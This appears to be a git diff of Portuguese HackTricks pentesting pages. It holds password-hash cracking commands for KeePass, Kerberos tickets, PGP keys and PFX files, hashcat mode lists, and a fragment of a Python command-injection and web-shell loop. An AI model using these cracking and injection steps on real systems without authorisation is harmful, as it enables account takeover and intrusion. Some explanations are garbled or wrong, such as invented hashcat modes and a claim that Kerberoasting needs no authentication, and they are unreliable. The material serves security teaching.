Uma das principais vantagens do Keepass é sua capacidade de resistir a ataques de força bruta. Isso significa que mesmo que um invasor tente adivinhar sua senha usando um programa automatizado que testa várias combinações, o Keepass é projetado para tornar esse tipo de ataque extremamente difícil e demorado.
|
||||
|
||||
Lembre-se de sempre manter o Keepass atualizado com as versões mais recentes, pois as atualizações geralmente incluem correções de segurança importantes. Além disso, é importante fazer backup regularmente do seu banco de dados do Keepass para evitar a perda de dados em caso de falha do sistema ou corrupção do arquivo.
|
||||
No entanto, é importante lembrar que a segurança do Keepass depende da força da sua senha mestra. Certifique-se de escolher uma senha mestra longa e complexa, que seja difícil de adivinhar ou quebrar.
|
||||
|
||||
Com o uso adequado e a implementação de medidas de segurança adequadas, o Keepass pode ser uma ferramenta eficaz para proteger suas senhas e manter suas informações confidenciais seguras.
|
||||
Além disso, é recomendável manter o Keepass atualizado com as versões mais recentes, pois isso garante que quaisquer vulnerabilidades conhecidas sejam corrigidas e que você esteja usando a versão mais segura do software.
|
||||
|
||||
Em resumo, o Keepass é uma ferramenta poderosa para gerenciar suas senhas com segurança. Ao usar o Keepass corretamente e seguir as melhores práticas de segurança, você pode proteger suas informações confidenciais contra ataques de força bruta e garantir a segurança de suas contas online.
|
||||
```bash
|
||||
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
|
||||
keepass2john file.kdbx > hash #The keepass is only using password
|
||||
|
@ -1018,13 +1025,13 @@ john --wordlist=/usr/share/wordlists/rockyou.txt hash
|
|||
|
||||
Keberoasting é uma técnica de ataque que visa explorar senhas fracas em contas de serviço do Active Directory (AD). Essa técnica se baseia na fraqueza do protocolo Kerberos, que permite que um atacante extraia hashes de senha de contas de serviço sem a necessidade de autenticação.
|
||||
|
||||
O processo de Keberoasting envolve a identificação de contas de serviço no AD que possuem a propriedade "ServicePrincipalName" definida. Essas contas de serviço geralmente são usadas para executar serviços em segundo plano, como serviços de banco de dados, servidores web e servidores de e-mail.
|
||||
O processo de Keberoasting envolve a identificação de contas de serviço no AD que possuem a propriedade "ServicePrincipalName" definida. Essas contas de serviço geralmente são usadas para executar serviços em segundo plano, como serviços de banco de dados, servidores web e outros aplicativos.
|
||||
|
||||
Uma vez identificadas as contas de serviço, o atacante pode solicitar um ticket de serviço para a conta desejada. O ticket de serviço contém o hash da senha da conta de serviço, que pode ser extraído pelo atacante.
|
||||
|
||||
Com o hash da senha em mãos, o atacante pode usar técnicas de força bruta ou ataques de dicionário para tentar quebrar a senha e obter acesso à conta de serviço. Essa técnica é eficaz porque muitas vezes as senhas de contas de serviço são fracas e fáceis de adivinhar.
|
||||
|
||||
Para se proteger contra ataques de Keberoasting, é recomendado fortalecer as senhas das contas de serviço, implementar políticas de senha fortes e monitorar o uso de contas de serviço no AD. Além disso, é importante manter o AD atualizado com as últimas correções de segurança para mitigar possíveis vulnerabilidades.
|
||||
Para se proteger contra ataques de Keberoasting, é recomendado que as senhas de contas de serviço sejam fortes e complexas. Além disso, é importante monitorar e auditar regularmente as contas de serviço para detectar atividades suspeitas.
|
||||
```bash
|
||||
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
|
||||
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
|
||||
|
@ -1047,7 +1054,7 @@ Brute force is a common method used in hacking to gain unauthorized access to a
|
|||
|
||||
Brute force attacks can be time-consuming and resource-intensive, especially if the password is long and complex. However, they can be effective against weak passwords or poorly implemented security measures.
|
||||
|
||||
There are several tools available for conducting brute force attacks, such as Hydra and Medusa. These tools automate the process by attempting multiple login attempts in rapid succession.
|
||||
There are several tools available for conducting brute force attacks, such as Hydra and Medusa. These tools automate the process by attempting multiple login attempts in a short period of time.
|
||||
|
||||
To protect against brute force attacks, it is important to use strong, unique passwords and implement account lockout policies. Additionally, rate limiting and CAPTCHA can be used to prevent automated login attempts.
|
||||
|
||||
|
@ -1074,9 +1081,9 @@ A chave privada PGP/GPG é um componente essencial para a criptografia de dados.
|
|||
|
||||
A perda ou comprometimento da chave privada pode resultar na exposição de informações sensíveis e na violação da privacidade. Portanto, é fundamental proteger adequadamente a chave privada PGP/GPG, armazenando-a em um local seguro e utilizando medidas de segurança adicionais, como senhas fortes e autenticação de dois fatores.
|
||||
|
||||
Além disso, é importante fazer backup da chave privada PGP/GPG regularmente, para evitar a perda irreversível de dados. Ao fazer o backup, certifique-se de armazenar a chave em um local seguro e criptografado, de preferência em um dispositivo externo ou em um serviço de armazenamento em nuvem confiável.
|
||||
Ao realizar a engenharia reversa de um aplicativo ou sistema, a obtenção da chave privada PGP/GPG pode ser um objetivo importante para um hacker. Isso pode ser alcançado por meio de técnicas de força bruta, que envolvem a tentativa sistemática de todas as combinações possíveis até encontrar a chave correta.
|
||||
|
||||
Lembre-se de que a chave privada PGP/GPG é uma parte crítica da criptografia de dados e deve ser tratada com extrema cautela. Mantenha-a protegida e segura para garantir a confidencialidade e integridade das suas comunicações.
|
||||
É importante ressaltar que a obtenção não autorizada de uma chave privada PGP/GPG é uma atividade ilegal e antiética. Apenas profissionais de segurança autorizados devem realizar testes de penetração e engenharia reversa, seguindo as leis e regulamentos aplicáveis.
|
||||
```bash
|
||||
gpg2john private_pgp.key #This will generate the hash and save it in a file
|
||||
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
|
||||
|
@ -1109,20 +1116,16 @@ Certificados PFX são arquivos que contêm tanto a chave privada quanto o certif
|
|||
|
||||
### Ataques de Força Bruta
|
||||
|
||||
Um ataque de força bruta é uma técnica usada para descobrir senhas ou chaves criptográficas através da tentativa de todas as combinações possíveis até encontrar a correta. Esse tipo de ataque é geralmente usado quando não há informações adicionais disponíveis para ajudar na descoberta da senha ou chave.
|
||||
Um ataque de força bruta é uma técnica usada para descobrir senhas ou chaves criptográficas através da tentativa de todas as combinações possíveis até encontrar a correta. Esse tipo de ataque é geralmente usado quando não há informações suficientes disponíveis para realizar um ataque mais direcionado.
|
||||
|
||||
Existem várias ferramentas e recursos disponíveis para realizar ataques de força bruta, como programas de computador especializados e dicionários de senhas. Essas ferramentas automatizam o processo de tentativa e erro, acelerando o tempo necessário para encontrar a senha ou chave correta.
|
||||
|
||||
É importante ressaltar que ataques de força bruta podem ser demorados e consomem muitos recursos computacionais. Além disso, eles podem ser detectados por sistemas de segurança, que podem bloquear o acesso após um número específico de tentativas falhas.
|
||||
|
||||
Portanto, é recomendado que senhas e chaves sejam fortes e complexas, para dificultar a sua descoberta através de ataques de força bruta.
|
||||
Existem várias ferramentas e recursos disponíveis para realizar ataques de força bruta, como dicionários de senhas, programas de quebra de senhas e scripts personalizados. É importante ressaltar que a realização de ataques de força bruta é ilegal, a menos que seja feito com permissão explícita do proprietário do sistema alvo para fins de teste de segurança.
|
||||
```bash
|
||||
# From https://github.com/Ridter/p12tool
|
||||
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
|
||||
# From https://github.com/crackpkcs12/crackpkcs12
|
||||
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -1134,7 +1137,7 @@ Acesse hoje mesmo:
|
|||
|
||||
**Exemplos de hash:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
|
||||
|
||||
### Identificador de hash
|
||||
### Identificador de Hash
|
||||
```bash
|
||||
hash-identifier
|
||||
> <HASH>
|
||||
|
@ -1225,19 +1228,25 @@ hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
|
|||
```
|
||||
#### Modos do Hashcat
|
||||
|
||||
Hashcat é uma ferramenta de quebra de senha altamente versátil que suporta vários modos de ataque. Cada modo é projetado para atacar um tipo específico de hash ou algoritmo de criptografia. Abaixo estão alguns dos modos mais comuns do Hashcat:
|
||||
Hashcat é uma ferramenta de quebra de senha que suporta vários modos de ataque. Cada modo é projetado para atacar um tipo específico de hash ou algoritmo de criptografia. Os modos do Hashcat incluem:
|
||||
|
||||
- **Modo de força bruta**: Este modo tenta todas as combinações possíveis de caracteres até encontrar a senha correta. É o método mais básico e demorado, mas pode ser eficaz para senhas fracas ou curtas.
|
||||
- **Modo de força bruta**: Este modo tenta todas as combinações possíveis de caracteres até encontrar a senha correta. É o método mais básico e demorado, mas pode ser eficaz para senhas fracas.
|
||||
|
||||
- **Modo de dicionário**: Neste modo, o Hashcat usa um arquivo de dicionário contendo uma lista de palavras comuns ou senhas potenciais. Ele testa cada palavra do dicionário como uma possível senha.
|
||||
- **Modo de dicionário**: Neste modo, o Hashcat usa uma lista de palavras conhecidas (dicionário) para tentar encontrar a senha. É mais rápido do que o modo de força bruta, mas requer um dicionário de alta qualidade.
|
||||
|
||||
- **Modo de ataque de regra**: Este modo aplica regras personalizadas ao dicionário para gerar variações das palavras existentes. Isso inclui alterações de capitalização, adição de números ou símbolos, entre outros. É útil para senhas que seguem padrões previsíveis.
|
||||
- **Modo de ataque de regra**: Este modo aplica regras personalizadas às palavras do dicionário para gerar variações e aumentar as chances de encontrar a senha. As regras podem incluir inversão de caracteres, adição de números, substituição de letras, entre outras.
|
||||
|
||||
- **Modo de ataque de máscara**: Neste modo, o Hashcat usa uma máscara personalizada para gerar todas as combinações possíveis de caracteres com base em um conjunto de caracteres definido. É útil quando você conhece o padrão geral da senha, mas não a senha exata.
|
||||
- **Modo de ataque de máscara**: Neste modo, o Hashcat usa uma máscara personalizada para gerar todas as combinações possíveis de caracteres com base em um padrão definido. É útil quando você conhece parte da senha ou o formato em que ela está.
|
||||
|
||||
- **Modo de ataque híbrido**: Este modo combina o uso de um dicionário com o modo de ataque de máscara. Ele permite que você especifique uma parte fixa da senha e gere todas as combinações possíveis para a parte variável.
|
||||
|
||||
Cada modo tem suas próprias vantagens e desvantagens, e a escolha do modo certo depende do tipo de hash ou algoritmo de criptografia que você está tentando quebrar. É importante entender esses modos e escolher o mais adequado para o seu cenário de teste.
|
||||
- **Modo de ataque de força bruta combinada**: Neste modo, o Hashcat combina dois ou mais arquivos de hash para realizar um ataque de força bruta em todas as combinações possíveis. É útil quando você tem várias hashes e deseja encontrar uma senha que funcione para todas elas.
|
||||
|
||||
- **Modo de ataque de força bruta híbrida**: Este modo combina o uso de um dicionário com o modo de ataque de força bruta. Ele permite que você especifique uma parte fixa da senha e tente todas as combinações possíveis para a parte variável.
|
||||
|
||||
- **Modo de ataque de força bruta incremental**: Neste modo, o Hashcat tenta todas as combinações possíveis de caracteres em uma ordem específica. É útil quando você tem uma ideia aproximada da senha, mas não sabe a ordem exata dos caracteres.
|
||||
|
||||
Cada modo de ataque tem suas vantagens e desvantagens, e a escolha do modo certo depende do tipo de hash ou algoritmo de criptografia que você está tentando quebrar.
|
||||
```bash
|
||||
hashcat --example-hashes | grep -B1 -A2 "NTLM"
|
||||
```
|
||||
|
@ -1272,11 +1281,11 @@ Ao realizar ataques de força bruta em hashes do Linux, é importante ter permis
|
|||
|
||||
## Introdução
|
||||
|
||||
Quebrar hashes do Windows é uma técnica comum usada por hackers para obter senhas de contas de usuário. Os hashes são representações criptografadas das senhas armazenadas no sistema operacional Windows. Ao quebrar esses hashes, os hackers podem obter acesso não autorizado às contas dos usuários.
|
||||
Quebrar hashes do Windows é uma técnica comum usada por hackers para obter senhas de contas de usuário em sistemas operacionais Windows. Os hashes são representações criptografadas das senhas armazenadas nos bancos de dados do sistema. Ao quebrar esses hashes, os hackers podem obter acesso não autorizado às contas de usuário.
|
||||
|
||||
## Metodologia de Força Bruta
|
||||
|
||||
A metodologia de força bruta é uma abordagem comum para quebrar hashes do Windows. Nessa técnica, o hacker tenta todas as combinações possíveis de senhas até encontrar a correspondência correta com o hash. Isso é feito usando programas de cracking de senha que automatizam o processo.
|
||||
A metodologia de força bruta é uma abordagem comum para quebrar hashes do Windows. Nessa técnica, o hacker tenta todas as combinações possíveis de senhas até encontrar a correspondência correta com o hash. Isso é feito usando programas de cracking de senha que automatizam o processo de tentativa e erro.
|
||||
|
||||
## Ferramentas de Quebra de Hashes
|
||||
|
||||
|
@ -1286,21 +1295,13 @@ Existem várias ferramentas disponíveis para quebrar hashes do Windows. Algumas
|
|||
- Hashcat
|
||||
- Cain & Abel
|
||||
|
||||
Essas ferramentas são altamente eficientes e podem quebrar hashes do Windows em um curto período de tempo, dependendo da complexidade da senha.
|
||||
Essas ferramentas são capazes de quebrar hashes usando diferentes técnicas, como força bruta, dicionário e ataques híbridos.
|
||||
|
||||
## Dicas para Quebrar Hashes do Windows
|
||||
## Considerações de Segurança
|
||||
|
||||
Aqui estão algumas dicas úteis para quebrar hashes do Windows:
|
||||
É importante ressaltar que a quebra de hashes do Windows é uma atividade ilegal, a menos que seja realizada com permissão explícita do proprietário do sistema. A utilização dessas técnicas sem autorização pode resultar em consequências legais graves.
|
||||
|
||||
1. Use uma lista de palavras-chave comuns: Muitas vezes, as senhas são baseadas em palavras-chave comuns, como nomes de animais, datas de nascimento, etc. Usar uma lista de palavras-chave comuns pode aumentar suas chances de sucesso.
|
||||
|
||||
2. Use regras de transformação: As ferramentas de quebra de hashes permitem aplicar regras de transformação às palavras-chave, como adicionar números ou símbolos no final. Isso pode ajudar a quebrar senhas que são variações de palavras-chave comuns.
|
||||
|
||||
3. Use um dicionário personalizado: Criar um dicionário personalizado com base em informações sobre o alvo pode aumentar suas chances de sucesso. Inclua palavras-chave relacionadas ao alvo, como nomes de familiares, lugares favoritos, etc.
|
||||
|
||||
## Conclusão
|
||||
|
||||
Quebrar hashes do Windows é uma técnica eficaz usada por hackers para obter acesso não autorizado a contas de usuário. Usando a metodologia de força bruta e ferramentas de quebra de hashes, os hackers podem automatizar o processo de tentativa e erro até encontrar a senha correta. No entanto, é importante lembrar que a quebra de hashes é uma atividade ilegal e deve ser realizada apenas com permissão legal.
|
||||
Além disso, é fundamental que os usuários escolham senhas fortes e únicas para evitar que seus hashes sejam quebrados facilmente. O uso de senhas complexas, combinadas com autenticação de dois fatores, pode ajudar a proteger as contas de usuário contra ataques de quebra de hashes.
|
||||
```
|
||||
3000 | LM | Operating-Systems
|
||||
1000 | NTLM | Operating-Systems
|
||||
|
@ -1323,29 +1324,29 @@ Existem várias ferramentas disponíveis que podem automatizar esse processo, co
|
|||
|
||||
### Ataques de Dicionário
|
||||
|
||||
Os ataques de dicionário são semelhantes aos ataques de força bruta, mas em vez de tentar todas as combinações possíveis, eles usam uma lista de palavras comuns ou senhas conhecidas para tentar quebrar o hash. Essas listas de palavras são chamadas de dicionários.
|
||||
Os ataques de dicionário são semelhantes aos ataques de força bruta, mas em vez de tentar todas as combinações possíveis, eles usam uma lista de palavras comuns ou senhas conhecidas para tentar quebrar o hash. Essa abordagem é mais rápida do que o ataque de força bruta, pois reduz o espaço de busca.
|
||||
|
||||
Existem vários dicionários disponíveis na internet que podem ser usados para realizar ataques de dicionário. Além disso, é possível criar dicionários personalizados com base em informações específicas sobre o alvo, como nomes de familiares, datas de nascimento, etc.
|
||||
Existem várias listas de palavras disponíveis na internet que podem ser usadas para realizar ataques de dicionário. Além disso, as ferramentas mencionadas anteriormente, como o John the Ripper e o Hashcat, também suportam ataques de dicionário.
|
||||
|
||||
### Ataques de Rainbow Table
|
||||
|
||||
Os ataques de rainbow table são uma técnica avançada para quebrar hashes de senhas. Nesse tipo de ataque, o hacker usa uma tabela precomputada de hashes e senhas correspondentes, chamada de rainbow table, para encontrar a senha original correspondente a um determinado hash.
|
||||
Os ataques de rainbow table são uma abordagem mais avançada para quebrar hashes de senhas. Nesse tipo de ataque, o hacker usa uma tabela precomputada de hashes e senhas correspondentes, conhecida como rainbow table. Essa tabela permite que o hacker encontre rapidamente a senha correspondente a um determinado hash, sem a necessidade de calcular o hash para cada tentativa.
|
||||
|
||||
As rainbow tables são criadas antecipadamente e podem ser baixadas ou geradas pelo próprio hacker. Elas são extremamente eficientes, pois permitem que o hacker encontre a senha original em tempo muito menor do que os ataques de força bruta ou dicionário.
|
||||
Existem várias rainbow tables disponíveis na internet para diferentes algoritmos de hash. No entanto, essas tabelas podem ocupar muito espaço em disco e exigir muito tempo para serem geradas.
|
||||
|
||||
## Recursos Genéricos
|
||||
|
||||
### John the Ripper
|
||||
Além das metodologias mencionadas acima, existem alguns recursos genéricos que podem ser úteis ao quebrar hashes de senhas de aplicativos comuns:
|
||||
|
||||
O John the Ripper é uma das ferramentas mais populares para quebrar hashes de senhas. Ele suporta vários algoritmos de hash e pode ser usado tanto para ataques de força bruta quanto para ataques de dicionário. O John the Ripper também possui recursos avançados, como a capacidade de usar regras de combinação para gerar senhas possíveis.
|
||||
- **Fóruns e comunidades**: Participar de fóruns e comunidades de hackers pode fornecer informações valiosas sobre técnicas e ferramentas específicas para quebrar hashes de senhas de aplicativos comuns.
|
||||
|
||||
### Hashcat
|
||||
- **Bancos de dados de senhas vazadas**: Existem vários bancos de dados online que armazenam senhas vazadas de violações de segurança. Esses bancos de dados podem ser usados para verificar se uma senha específica já foi comprometida.
|
||||
|
||||
O Hashcat é outra ferramenta poderosa para quebrar hashes de senhas. Ele suporta uma ampla variedade de algoritmos de hash e é altamente otimizado para aproveitar a potência de processamento das GPUs modernas. O Hashcat também possui recursos avançados, como o uso de máquinas virtuais para acelerar o processo de quebra de senha.
|
||||
- **Ferramentas de cracking**: Além das ferramentas mencionadas anteriormente, existem várias outras ferramentas disponíveis que podem ser usadas para quebrar hashes de senhas de aplicativos comuns. Algumas dessas ferramentas são específicas para determinados aplicativos ou algoritmos de hash.
|
||||
|
||||
## Conclusão
|
||||
|
||||
Quebrar hashes de senhas de aplicativos comuns é uma técnica comum usada pelos hackers para obter acesso não autorizado a contas. Neste guia, exploramos algumas metodologias genéricas, como ataques de força bruta, ataques de dicionário e ataques de rainbow table, bem como recursos específicos, como o John the Ripper e o Hashcat, que podem ser usados para realizar essa tarefa. É importante lembrar que a quebra de hashes de senhas é uma atividade ilegal, a menos que seja realizada com permissão explícita do proprietário da conta.
|
||||
Quebrar hashes de senhas de aplicativos comuns é uma tarefa desafiadora, mas com as metodologias e recursos genéricos corretos, é possível obter sucesso. No entanto, é importante lembrar que a quebra de hashes de senhas é uma atividade ilegal, a menos que seja realizada com permissão explícita do proprietário da conta ou como parte de um teste de penetração autorizado.
|
||||
```
|
||||
900 | MD4 | Raw Hash
|
||||
0 | MD5 | Raw Hash
|
||||
|
@ -1367,7 +1368,7 @@ Quebrar hashes de senhas de aplicativos comuns é uma técnica comum usada pelos
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -28,7 +28,7 @@ Acesse hoje mesmo:
|
|||
* [**Sintaxe básica de solicitações web em Python**](web-requests.md)
|
||||
* [**Sintaxe básica de Python e bibliotecas**](basic-python.md)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -37,10 +37,10 @@ is fixed running
|
|||
pip3 install wheel
|
||||
inside the virtual environment
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -52,7 +52,7 @@ Acesse hoje mesmo:
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -105,9 +105,11 @@ response = requests.get(target_url + payload)
|
|||
print(response.text)
|
||||
```
|
||||
|
||||
Neste exemplo, estamos enviando uma solicitação GET para a URL do alvo com um payload que contém o comando que desejamos executar. O payload é construído adicionando `;` antes do comando e `#` no final para comentar o restante da linha e evitar erros de sintaxe.
|
||||
Neste exemplo, `target_url` é a URL do arquivo vulnerável no servidor, e `command` é o comando que você deseja executar. O payload é construído adicionando o comando ao final da solicitação HTTP como um parâmetro GET. O caractere `;` é usado para separar o comando original do comando que será executado.
|
||||
|
||||
Certifique-se de substituir `http://www.exemplo.com/vulneravel.php` pelo URL real do alvo e `ls -la` pelo comando que você deseja executar.
|
||||
Depois de enviar a solicitação, a resposta do servidor é impressa na tela, exibindo o resultado do comando executado.
|
||||
|
||||
Lembre-se de que a exploração de uma RCE é uma atividade ilegal, a menos que você tenha permissão explícita do proprietário do sistema-alvo.
|
||||
```python
|
||||
import requests
|
||||
import re
|
||||
|
@ -134,7 +136,7 @@ return 1
|
|||
term = Terminal()
|
||||
term.cmdloop()
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -150,6 +152,6 @@ Acesse hoje mesmo:
|
|||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,11 +12,11 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje:
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -58,7 +58,7 @@ Você também pode pesquisar no banco de dados do vulners: [https://vulners.com/
|
|||
|
||||
Isso busca por exploits em outros bancos de dados: [https://sploitus.com/](https://sploitus.com)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
